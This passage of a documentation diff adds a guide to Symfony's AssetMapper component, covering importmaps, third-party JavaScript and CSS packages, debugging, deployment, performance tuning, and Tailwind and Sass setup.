+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+From inside CSS, you can reference other files using the normal CSS ``url()``
+function and a relative path to the target file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    .quack {
+        /* file lives at assets/images/duck.png */
+        background-image: url('../images/duck.png');
+    }
+
+The path in the final ``app.css`` file will automatically include the versioned URL
+for ``duck.png``:
+
+.. code-block:: css
+
+    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    .quack {
+        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+    }
+
+Debugging: Seeing All Mapped Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To see all of the mapped assets in your app, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:asset-map
+
+This will show you all the mapped paths and the assets inside of each:
+
+.. code-block:: text
+
+    AssetMapper Paths
+    ------------------
+
+    --------- ------------------
+     Path      Namespace prefix
+    --------- ------------------
+    assets
+
+    Mapped Assets
+    -------------
+
+    ------------------ ----------------------------------------------------
+     Logical Path       Filesystem Path
+    ------------------ ----------------------------------------------------
+     app.js             assets/app.js
+     styles/app.css     assets/styles/app.css
+     images/duck.png    assets/images/duck.png
+
+The "Logical Path" is the path to use when referencing the asset, like
+from a template.
+
+.. _importmaps-javascript:
+
+Importmaps & Writing JavaScript
+-------------------------------
+
+All modern browsers support the JavaScript `import statement`_ and modern
+`ES6`_ features like classes. So this code "just works":
+
+.. code-block:: javascript
+
+    // assets/app.js
+    import Duck from './duck.js';
+
+    const duck = new Duck('Waddles');
+    duck.quack();
+
+.. code-block:: javascript
+
+    // assets/duck.js
+    export default class {
+        constructor(name) {
+            this.name = name;
+        }
+        quack() {
+            console.log(`${this.name} says: Quack!`);
+        }
+    }
+
+Thanks to the ``{{ importmap() }}`` Twig function, which you'll learn all about in
+this section, the ``assets/app.js`` file is loaded & executed by the browser.
+
+.. tip::
+
+    When importing relative files, be sure to include the ``.js`` extension.
+    Unlike in Node, the extension is required in the browser environment.
+
+Importing 3rd Party JavaScript Packages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Suppose you want to use an `npm package`_, like `bootstrap`_. Technically,
+this can be done by importing its full URL, like from a CDN:
+
+.. code-block:: javascript
+
+    import { Alert } from 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm';
+
+But yikes! Needing to include that URL is a pain! Instead, we can add
+this to our "importmap" via the ``importmap:require`` command. This command can
+be used to download any `npm package`_:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap
+
+This adds the ``bootstrap`` package to your ``importmap.php`` file::
+
+    // importmap.php
+    return [
+        // ...
+
+        'bootstrap' => [
+            'url' => 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm',
+        ],
+    ];
+
+Now you can import the ``bootstrap`` package like normal:
+
+.. code-block:: javascript
+
+    import { Alert } from 'bootstrap';
+    // ...
+
+If you want to download the package locally, use the ``--download`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap --download
+
+This will download the package into an ``assets/vendor/`` directory and update
+the ``importmap.php`` file to point to it. You *should* commit this file to
+your repository.
+
+.. note::
+
+    Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
+    such as ``@popperjs/core``. The ``download`` option will download both the main
+    package *and* its dependencies.
+
+To update all 3rd party packages in your ``importmap.php`` file, run:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:update
+
+How does the importmap Work?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+How does this ``importmap.php`` file allow you to import ``bootstrap``? That's
+thanks to the ``{{ importmap() }}`` Twig function in ``base.html.twig``, which
+outputs an `importmap`_:
+
+.. code-block:: html
+
+    <script type="importmap">{
+        "imports": {
+            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
+            "bootstrap": "https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm"
+        }
+    }</script>
+
+Importmaps is a native browser feature. It works in all browsers thanks to
+a "shim" file that's included automatically by the AssetMapper component
+(all *modern* browsers `support it natively <https://caniuse.com/import-maps>`_).
+
+When you import ``bootstrap`` from your JavaScript, the browser will look at
+the ``importmap`` and see that it should fetch the package from the URL.
+
+.. _automatic-import-mapping:
+
+But where did the ``/assets/duck.js`` import entry come from? Great question!
+
+The ``assets/app.js`` file above imports ``./duck.js``. When you import a file using a
+relative path, your browser looks for that file relative to the one importing
+it. So, it would look for ``/assets/duck.js``. That URL *would* be correct,
+except that the ``duck.js`` file is versioned. Fortunately, the AssetMapper component
+sees that import and adds a mapping from ``/assets/duck.js`` to the correct, versioned
+filename. The result: importing ``./duck.js`` just works!
+
+Preloading and Initializing "app.js"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
+an `es module shim`_ and a few other things, like a set of "preloads":
+
+.. code-block:: html
+
+    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+
+In ``importmap.php``, each entry can have a ``preload`` option. If set to ``true``,
+a ``<link rel="modulepreload">`` tag is rendered for that entry as well as for
+any JavaScript files it imports (this happens for "relative" - ``./`` or ``../`` -
+imports only). This is a performance optimization and you can learn more about below
+in :ref:`Performance: Add Preloading <performance-preloading>`.
+
+.. _importmap-app-entry:
+
+The ``importmap()`` function also renders one more line:
+
+.. code-block:: html
+
+    <script type="module">import 'app';</script>
+
+So far, the snippets shown export an ``importmap`` and even hinted to the
+browser that it should preload some files. But the browser hasn't yet been told to
+actually parse and execute any JavaScript. This line does that: it imports the
+``app`` entry, which causes the code in ``assets/app.js`` to be executed.
+
+Importing Specific Files From a 3rd Party Package
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes you'll need to import a specific file from a package. For example,
+suppose you're integrating `highlight.js`_ and want to import just the core
+and a specific language:
+
+.. code-block:: javascript
+
+    import hljs from 'highlight.js/lib/core';
+    import javascript from 'highlight.js/lib/languages/javascript';
+
+    hljs.registerLanguage('javascript', javascript);
+    hljs.highlightAll();
+
+In this case, adding the ``highlight.js`` package to your ``importmap.php`` file
+won't work: whatever your importing - e.g. ``highlight.js/lib/core`` - needs to
+*exactly* match an entry in the ``importmap.php`` file.
+
+Instead, use ``importmap:require`` and pass it the exact paths you need. This
+also shows how you can require multiple packages at once:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require highlight.js/lib/core highlight.js/lib/languages/javascript
+
+Handling 3rd-Party CSS
+----------------------
+
+With the ``importmap:require`` command, you can quickly use any JavaScript
+package. But what about CSS? For example, the ``bootstrap`` package also contains
+a CSS file.
+
+Including CSS is a bit more manual, but still easy enough. To find the CSS,
+we recommend using `jsdelivr.com`_:
+
+#. Search for the package on `jsdelivr.com`_.
+#. Once on the package page (e.g. https://www.jsdelivr.com/package/npm/bootstrap),
+   sometimes the ``link`` tag to the CSS file will already be shown in the "Install" box.
+#. If not, click the "Files" tab and find the CSS file you need. For example,
+   the ``bootstrap`` package has a ``dist/css/bootstrap.min.css`` file. If you're
+   not sure which file to use, check the ``package.json`` file. Often
+   this will have a ``main`` or ``style`` key that points to the CSS file.
+
+Once you have the URL, include it in ``base.html.twig``:
+
+.. code-block:: diff
+
+    {% block stylesheets %}
+    +   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
+        <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    {% endblock %}
+
+If you'd rather download the CSS file and include it locally, you can do that.
+For example, you could manually download, save it to ``assets/vendor/bootstrap.min.css``
+and then include it with:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="{{ asset('vendor/bootstrap.min.css') }}">
+
+Lazily Importing CSS from a JavaScript File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When using a bundler like :ref:`Encore <frontend-webpack-encore>`, you can
+import CSS from a JavaScript file:
+
+.. code-block:: javascript
+
+    // this CAN work (keep reading), but will be loaded lazily
+    import 'swiper/swiper-bundle.min.css';
+
+This *can* work with importmaps, but it should *not* be used for critical CSS
+that needs to be loaded before the page is rendered because the browser
+won't download the CSS until the JavaScript file executed.
+
+However, if you *do* want to lazily-load a CSS file, you an make this work
+by using the ``importmap:require`` command and pointing it at a CSS file.
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require swiper/swiper-bundle.min.css
+
+This works because ``jsdelivr`` returns a URL to a JavaScript file that,
+when executed, adds the CSS to your page.
+
+Issues and Debugging
+--------------------
+
+There are a few common errors and problems you might run into.
+
+Missing importmap Entry
+~~~~~~~~~~~~~~~~~~~~~~~
+
+One of the most common errors will come from your browser's console, and
+will something like this:
+
+    Failed to resolve module specifier "    bootstrap". Relative references must start
+    with either "/", "./", or "../".
+
+Or:
+
+    The specifier "bootstrap" was a bare specifier, but was not remapped to anything.
+    Relative module specifiers must start with "./", "../" or "/".
+
+This means that, somewhere in your JavaScript, you're importing a 3rd party
+package - e.g. ``import 'bootstrap'``. The browser tries to find this
+package in your ``importmap`` file, but it's not there.
+
+The fix is almost always to add it to your ``importmap``:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require bootstrap
+
+.. note::
+
+    Some browsers, like Firefox, show *where* this "import" code lives, while
+    others like Chrome currently do not.
+
+404 Not Found for a JavaScript, CSS or Image File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
+or a CSS/image file you're referencing won't be found, and you'll see a 404
+error in your browser's console. You'll also notice that the 404 URL is missing
+the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
+a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+
+This is usually because the path is wrong. If you're referencing the file
+directly in a Twig template:
+
+.. code-block:: html+twig
+
+        <img src="{{ asset('images/duck.png') }}">
+
+Then the path that you pass ``asset()`` should be the "logical path" to the
+file. Use the ``debug:asset-map`` command to see all valid logical paths
+in your app.
+
+More likely, you're importing the failing asset from a CSS file (e.g.
+``@import url('other.css')``) or a JavaScript file:
+
+.. code-block:: javascript
+
+    // assets/controllers/farm-controller.js
+    import '../farm/chicken.js';
+
+When doing this, the path should be *relative* to the file that's importing it
+(and, in JavaScript files, should start with ``./`` or ``../``). In this case,
+``../farm/chicken.js`` would point to ``assets/farm/chicken.js``. To
+see a list of *all* invalid imports in your app, run:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:clear
+    $ php bin/console debug:asset-map
+
+Any invalid imports will show up as warnings on top of the screen (make sure
+you have ``symfony/monolog-bundle`` installed):
+
+.. code-block:: text
+
+    WARNING   [asset_mapper] Unable to find asset "../images/ducks.png" referenced in "assets/styles/app.css".
+    WARNING   [asset_mapper] Unable to find asset "./ducks.js" imported from "assets/app.js".
+
+Missing Asset Warnings on Commented-out Code
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The AssetMapper component looks in your JavaScript files for ``import`` lines so
+that it can :ref:`automatically add them to your importmap <automatic-import-mapping>`.
+This is done via regex and works very well, though it isn't perfect. If you
+comment-out an import, it will still be found and added to your importmap. That
+doesn't harm anything, but could be surprising.
+
+If the imported path cannot be found, you'll see warning log when that asset
+is being built, which you can ignore.
+
+.. _asset-mapper-deployment:
+
+Deploying with the AssetMapper Component
+----------------------------------------
+
+When you're ready to deploy, "compile" your assets during deployment:
+
+.. code-block:: terminal
+
+    $ php bin/console asset-map:compile
+
+That's it! This will write all your assets into the ``public/assets/`` directory,
+along with a few JSON files so that the ``importmap`` can be rendered lightning fast.
+
+But to make sure your site is performant, be sure that your web server
+(or a proxy) is running HTTP/2, is compressing your assets and setting
+long-lived Expires headers on them. See :ref:`Optimization <optimization>` for
+more details.
+
+.. _optimization:
+
+Optimizing Performance
+----------------------
+
+To make your AssetMapper-powered site fly, there are a few things you need to
+do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
+which will automatically do most of these things for you:
+
+- **Use HTTP/2**: Your web server **must** be running HTTP/2 (or HTTP/3) so the
+  browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
+  and can be activated in Nginx and Apache. Or, proxy your site through a
+  service like Cloudflare, which will automatically enable HTTP/2 for you.
+
+- **Compress your assets**: Your web server should compress (e.g. using gzip)
+  your assets (JavaScript, CSS, images) before sending them to the browser. This
+  is automatically enabled in Caddy and can be activated in Nginx and Apache.
+  Or, proxy your site through a service like Cloudflare, which will
+  automatically compress your assets for you. In Cloudflare, you can also
+  enable `auto minify`_ to further compress your assets (e.g. removing
+  whitespace and comments from JavaScript and CSS files).
+
+- **Set long-lived Expires headers**: Your web server should set long-lived
+  Expires headers on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set the Expires header
+  to a very long time in the future (e.g. 1 year). This isn't automatic in
+  any web server, but can be easily enabled.
+
+Once you've done these things, you can use a tool like `Lighthouse`_ to
+validate the performance of your site!
+
+.. _performance-preloading:
+
+Performance: Add Preloading
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+One common issue that LightHouse may report is:
+
+    Avoid Chaining Critical Requests
+
+Some items in this list are fine. But if this list is long or some items are
+multiple-levels deep, that *is* something you should fix with "preloading".
+To understand the problem, imagine that you have this setup:
+
+- ``assets/app.js`` imports ``./duck.js``
+- ``assets/duck.js`` imports ``bootstrap``
+
+When the browser downloads the page, this happens:
+
+1. The browser downloads ``assets/app.js``;
+2. It *then* sees the ``./duck.js`` import and downloads ``assets/duck.js``;
+3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``.
+
+Instead of downloading all 3 files in parallel, the browser is forced to
+download them one-by-one as it discovers them. This is hurts performance. To fix
+this, in ``importmap.php``, add a ``preload`` key to the ``app`` entry, which
+points to the ``assets/app.js`` file. Actually, this should already be
+done for you::
+
+    // importmap.php
+    return [
+        'app' => [
+            'path' => 'app.js',
+            'preload' => true,
+        ],
+        // ...
+    ];
+
+Thanks to this, the AssetMapper component will render a "preload" tag onto your page
+for ``assets/app.js`` *and* any other JavaScripts files that it imports using
+a relative path (i.e. starting with ``./`` or ``../``):
+
+.. code-block:: html
+
+    <link rel="preload" href="/assets/app.js" as="script">
+    <link rel="preload" href="/assets/duck.js" as="script">
+
+This tells the browser to start downloading both of these files immediately,
+even though it hasn't yet seen the ``import`` statement for ``assets/duck.js``
+
+You'll also want to preload ``bootstrap`` as well, which you can do in the
+same way::
+
+    // importmap.php
+    return [
+        // ...
+        'bootstrap' => [
+            'path' => '...',
+            'preload' => true,
+        ],
+    ];
+
+.. note::
+
+    As described above, when you preload ``assets/app.js``, the AssetMapper component
+    find all of the JavaScript files that it imports using a **relative** path
+    and preloads those as well. However, it does not currently do this when
+    you import "packages" (e.g. ``bootstrap``). These packages will already
+    live in your ``importmap.php`` file, so their preload setting is handled
+    explicitly in that file.
+
+Frequently Asked Questions
+--------------------------
+
+Does the AssetMapper Component Combine Assets?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Nope! But that's because this is no longer necessary!
+
+In the past, it was common to combine assets to reduce the number of HTTP
+requests that were made. Thanks to advances in web servers like
+HTTP/2, it's typically not a problem to keep your assets separate and let the
+browser download them in parallel. In fact, by keeping them separate, when
+you update one asset, the browser can continue to use the cached version of
+all of your other assets.
+
+See :ref:`Optimization <optimization>` for more details.
+
+Does the AssetMapper Component Minify Assets?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Nope! Minifying or compressing assets *is* important, but can be
+done by your web server or a service like Cloudflare. See
+:ref:`Optimization <optimization>` for more details.
+
+Is the AssetMapper Component Production Ready? Is it Performant?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yes! Very! The AssetMapper component leverages advances in browser technology (like
+importmaps and native ``import`` support) and web servers (like HTTP/2, which allows
+assets to be downloaded in parallel). See the other questions about minimization
+and combination and :ref:`Optimization <optimization>` for more details.
+
+The https://ux.symfony.com site runs on the AssetMapper component and has a 99%
+Google Lighthouse score.
+
+Does the AssetMapper Component work in All Browsers?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yup! Features like importmaps and the ``import`` statement are supported
+in all modern browsers, but the AssetMapper component ships with an `es module shim`_
+to support ``importmap`` in old browsers. So, it works everywhere (see note
+below).
+
+Inside your own code, if you're relying on modern `ES6`_ JavaScript features
+like the `class syntax`_, this is supported in all but the oldest browsers.
+If you *do* need to support very old browsers, you should use a tool like
+:ref:`Encore <frontend-webpack-encore>` instead of the AssetMapper component.
+
+.. note::
+
+    The `import statement`_ can't be polyfilled or shimmed to work on *every*
+    browser. However, only the **oldest** browsers don't support it - basically
+    IE 11 (which is no longer supported by Microsoft and has less than .4%
+    of global usage).
+
+    The ``importmap`` feature **is** shimmed to work in **all** browsers by the
+    AssetMapper component. However, the shim doesn't work with "dynamic" imports:
+
+    .. code-block:: javascript
+
+        // this works
+        import { add } from './math.js';
+
+        // this will not work in the oldest browsers
+        import('./math.js').then(({ add }) => {
+            // ...
+        });
+
+    If you want to use dynamic imports and need to support certain older browsers
+    (https://caniuse.com/import-maps), you can use an ``importShim()`` function
+    from the shim: https://www.npmjs.com/package/es-module-shims#user-content-polyfill-edge-case-dynamic-import
+
+Can I Use with Sass or Tailwind?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`.
+
+Can I use with TypeScript, JSX or Vue?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Probably not.
+
+TypeScript, by its very nature, requires a build step.
+
+JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX,
+you'll probably want to use a tool like :ref:`Encore <frontend-webpack-encore>`.
+See the `UX React Documentation`_ for more details about using with the AssetMapper
+component.
+
+Vue files *can* be written in native JavaScript, and those *will* work with
+the AssetMapper component. But you cannot write single-file components (i.e. ``.vue``
+files) with component, as those must be used in a build system. See the
+`UX Vue.js Documentation`_ for more details about using with the AssetMapper
+component.
+
+.. _asset-mapper-tailwind:
+
+Using Tailwind CSS
+------------------
+
+Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
+First, install the ``tailwindcss`` binary. This can be installed via npm (run
+``npm --init`` if you don't already have a ``package.json`` file):
+
+.. code-block:: terminal
+
+    $ npm install -D tailwindcss
+
+Of you can install the `Tailwind standalone binary`_, which does not require Node.
+
+Next, generate the ``tailwind.config.js`` file:
+
+.. code-block:: terminal
+
+    $ npx tailwindcss init
+
+    # or with the standalone binary:
+    $ ./tailwindcss init
+
+Update ``tailwind.config.js`` to point to your template and JavaScript files:
+
+.. code-block:: diff
+
+    // tailwind.config.js
+    // ....
+
+    -   content: [],
+    +   content: [
+    +       "./assets/**/*.js",
+    +       "./templates/**/*.html.twig",
+    +   ],
+
+Then add the base lines to your ``assets/styles/app.css`` file:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+    @tailwind base;
+    @tailwind components;
+    @tailwind utilities;
+
+Now that Tailwind is setup, run the ``tailwindcss`` binary in "watch" mode
+to build the CSS file to a new ``assets/app.built.css`` path:
+
+.. code-block:: terminal
+
+    $ npx tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
+
+    # or with the standalone binary:
+    $ ./tailwindcss build -i assets/styles/app.css -o assets/styles/app.built.css --watch
+
+Finally, instead of pointing directly to ``styles/app.css`` in your template,
+point to the new ``styles/app.built.css`` file:
+
+.. code-block:: diff
+
+    {# templates/base.html.twig #}
+
+    - <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+    + <link rel="stylesheet" href="{{ asset('styles/app.built.css') }}">
+
+Done! You can choose to ignore the ``assets/styles/app.built.css`` file from Git
+or commit it to ease deployment.
+
+.. _asset-mapper-sass:
+
+Using Sass
+----------
+
+To use Sass with the AssetMapper component, install the sass binary. You can
+`download it from the latest GitHub release`_ (does not require Node) or
+install it via npm:
+
+.. code-block:: terminal
+
+    $ npm install -D dart-sass
+
+Next, create an ``assets/styles/app.scss`` file and write some dazzling CSS:
+
+.. code-block:: scss
+
+    /* assets/styles/app.scss */
+    $primary-color: skyblue;
+
+    body {
+        background: $primary-color;
+    }
+
+Then, run the ``dart-sass`` binary in "watch" mode to build the CSS file to a
+new ``assets/styles/app.css`` path:
+
+.. code-block:: terminal
+
+    $ npx dart-sass assets/styles/app.scss assets/styles/app.css --watch
+
+    # or with the standalone binary:
+    ./sass assets/styles/app.scss assets/styles/app.css --watch
+
+In your template, point directly to the ``styles/app.css`` file (``base.html.twig``
+points to ``styles/app.css`` by default):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+    <link rel="stylesheet" href="{{ asset('styles/app.css') }}">
+
+Done! You can choose to ignore the ``assets/styles/app.css`` file from Git
+or commit it to ease deployment. To prevent the source ``.scss`` files from being
+exposed to the public, see :ref:`exclude_patterns <excluded_patterns>`.
+
+Third-Party Bundles & Custom Asset Paths
+----------------------------------------
+
+All bundles that have a ``Resources/public/`` or ``public/`` directory will
+automatically have that directory added as an "asset path", using the namespace:
+``bundles/<BundleName>``. For example, if you're using `BabdevPagerfantaBundle`_
+and you run the ``debug:asset-map`` command, you'll see an asset whose logical
+path is ``bundles/babdevpagerfanta/css/pagerfanta.css``.
+
+This means you can render these assets in your templates using the
+``asset()`` function:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="{{ asset('bundles/babdevpagerfanta/css/pagerfanta.css') }}">
+
+Actually, this path - ``bundles/babdevpagerfanta/css/pagerfanta.css`` - already
+works in applications *without* the AssetMapper component, because the ``assets:install``
+command copies the assets from bundles into ``public/bundles/``. However, when
+the AssetMapper component is enabled, the ``pagerfanta.css`` file will automatically
+be versioned! It will output something like:
+
+.. code-block:: html+twig
+
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+
+Overriding 3rd-Party Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to override a 3rd-party asset, you can do that by creating a
+file in your ``assets/`` directory with the same name. For example, if you
+want to override the ``pagerfanta.css`` file, create a file at
+``assets/bundles/babdevpagerfanta/css/pagerfanta.css``. This file will be
+used instead of the original file.
+
+.. note::
+
+    If a bundle renders their *own* assets, but they use a non-default
+    :ref:`asset package <asset-packages>`, then the AssetMapper component will
+    not be used. This happens, for example, with `EasyAdminBundle`_.
+
+Importing Assets Outside of the ``assets/`` Directory
+-----------------------------------------------------
+
+You cannot currently import assets that live outside of your asset path
+(i.e. the ``assets/`` directory). For example, this won't work:
+
+.. code-block:: css
+
+    /* assets/styles/app.css */
+
+    /* you cannot reach above assets/ */
+    @import url('../../vendor/babdev/pagerfanta-bundle/Resources/public/css/pagerfanta.css');
+    /* using a logical path won't work either */
+    @import url('bundles/babdevpagerfanta/css/pagerfanta.css');
+
+This wouldn't work either:
+
+.. code-block:: javascript
+
+    // assets/app.js
+
+    // you cannot reach above assets/
+    import '../vendor/symfony/ux-live-component/assets/dist/live_controller.js';
+    // using a logical path won't work either (the "@symfony/ux-live-component" path is added by the LiveComponent library)
+    import '@symfony/ux-live-component/live_controller.js';
+    // importing like a JavaScript "package" won't work
+    import '@symfony/ux-live-component';
+
+For CSS files, you can solve this by adding a ``link`` tag to your template
+instead of using the ``@import`` statement.
+
+For JavaScript files, you can add an entry to your ``importmap`` file:
+
+.. code-block:: terminal
+
+    $ php bin/console importmap:require @symfony/ux-live-component --path=vendor/symfony/ux-live-component/assets/dist/live_controller.js
+
+Then you can ``import '@symfony/ux-live-component'`` like normal. The ``--path``
+option tells the command to point to a local file instead of a package.
+In this case, the ``@symfony/ux-live-component`` argument could be anything:
+whatever you use here will be the string that you can use in your ``import``.
+
+If you get an error like this:
+
+    The "some/package" importmap entry contains the path "vendor/some/package/assets/foo.js"
+    but it does not appear to be in any of your asset paths.
+
+It means that you're pointing to a valid file, but that file isn't in any of
+your asset paths. You can fix this by adding the path to your ``asset_mapper.yaml``
+file:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            paths:
+                - assets/
+                - vendor/some/package/assets
+
+Then try the command again.
+
+Configuration Options
+---------------------
+
+You can see every available configuration option and some info by running:
+
+.. code-block:: terminal
+
+    $ php bin/console config:dump framework asset_mapper
+
+Some of the more important options are described below.
+
+``framework.asset_mapper.paths``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This config holds all of the directories that will be scanned for assets. This
+can be a simple list:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            paths:
+                - assets/
+                - vendor/some/package/assets
+
+Of you can give each path a "namespace" that will be used in the asset map:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            paths:
+                assets/: ''
+                vendor/some/package/assets/: 'some-package'
+
+In this case, the "logical path" to all of the files in the ``vendor/some/package/assets/``
+directory will be prefixed with ``some-package`` - e.g. ``some-package/foo.js``.
+
+.. _excluded_patterns:
+
+``framework.asset_mapper.excluded_patterns``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is a list of glob patterns that will be excluded from the asset map:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            excluded_patterns:
+                - '*/*.scss'
+
+You can use the ``debug:asset-map`` command to double-check that the files
+you expect are being included in the asset map.
+
+``framework.asset_mapper.importmap_script_attributes``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is a list of attributes that will be added to the ``<script>`` tags
+rendered by the ``{{ importmap() }}`` Twig function:
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            importmap_script_attributes:
+                crossorigin: 'anonymous'
+
+Page-Specific CSS & JavaScript
+------------------------------
+
+Sometimes you may choose to include CSS or JavaScript files only on certain
+pages. To add a CSS file to a specific page, create the file, then add a
+``link`` tag to it like normal:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block stylesheets %}
+        {{ parent() }}
+
+        <link rel="stylesheet" href="{{ asset('styles/checkout.css') }}">
+    {% endblock %}
+
+For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
+add a ``script``` tag that imports it:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block javascripts %}
+        {{ parent() }}
+
+        <script type="module">
+            import '{{ asset('checkout.js') }}';
+        </script>
+    {% endblock %}
+
+This instructs your browser to download and execute the file.
+
+In this setup, the normal ``app.js`` file will be executed first and *then*
+``checkout.js``. If, for some reason, you want to execute *only* ``checkout.js``
+and *not* ``app.js``, override the ``javascript`` block entirely and render
+``checkout.js`` through the ``importmap()`` function:
+
+.. code-block:: html+twig
+
+    {# templates/products/checkout.html.twig #}
+    {% block javascripts %}
+        <script type="module">
+            {{ importmap(asset('checkout.js')) }}
+        </script>
+    {% endblock %}
+
+The important thing is that the ``importmap()`` function must be called exactly
+*one* time on each page. It outputs the ``importmap`` and also adds a
+``<script type="module">`` tag that loads the ``app.js`` file or whatever path
+you pass to ``importmap()``.
+
+.. note::
+
+    If you look at the source of your page, by default, the ``<script type="module">``
+    from ``importmap()`` will contain ``import 'app';`` - not something like
+    ``import ``/assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
+    because ``app`` appears in your ``importmap.php``, the browser will read ``app``
+    from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
+
+The AssetMapper Component Caching System in dev
+-----------------------------------------------
+
+When developing your app in debug mode, the AssetMapper component will calculate the
+content of each asset file and cache it. Whenever that file changes, the component
+will automatically re-calculate the content.
+
+The system also accounts for "dependencies": If ``app.css`` contains
+``@import url('other.css')``, then the ``app.css`` file contents will also be
+re-calculated whenever ``other.css`` changes. This is because the version hash of ``other.css``
+will change... which will cause the final content of ``app.css`` to change, since
+it includes the final ``other.css`` filename inside.
+
+Mostly, this system just works. But if you have a file that is not being
+re-calculated when you expect it to, you can run:
+
+.. code-block:: terminal
+
+    $ php bin/console cache:clear
+
+This will force the AssetMapper component to re-calculate the content of all files.
+
+.. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
+.. _import statement: https://caniuse.com/es6-module-dynamic-import
+.. _ES6: https://caniuse.com/es6
+.. _npm package: https://www.npmjs.com
+.. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap
+.. _bootstrap: https://www.npmjs.com/package/bootstrap
+.. _es module shim: https://www.npmjs.com/package/es-module-shims
+.. _jsdelivr.com: https://www.jsdelivr.com/
+.. _highlight.js: https://www.npmjs.com/package/highlight.js
+.. _class syntax: https://caniuse.com/es6-class
+.. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html
+.. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html
+.. _auto minify: https://developers.cloudflare.com/support/speed/optimization-file-size/using-cloudflare-auto-minify/
+.. _Lighthouse: https://developers.google.com/web/tools/lighthouse
+.. _Tailwind: https://tailwindcss.com/
+.. _Tailwind standalone binary: https://tailwindcss.com/blog/standalone-cli
